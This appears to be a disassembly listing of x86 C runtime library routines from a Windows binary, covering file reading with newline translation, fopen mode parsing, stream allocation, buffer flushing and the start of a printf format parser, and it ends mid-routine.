
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC6C0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC5C0h[eax*4]
		mov	eax, dword_4DC5C0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2680000h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB278, 9
		mov	dword_4DB27C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2680000h
		nop
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB2F8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB464
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB460
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB598
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB598
		mov	[edi+ecx], eax
		mov	eax, dword_4DB598
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C2F8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C2F8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA08
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA28
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C950


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C2F8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C514
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
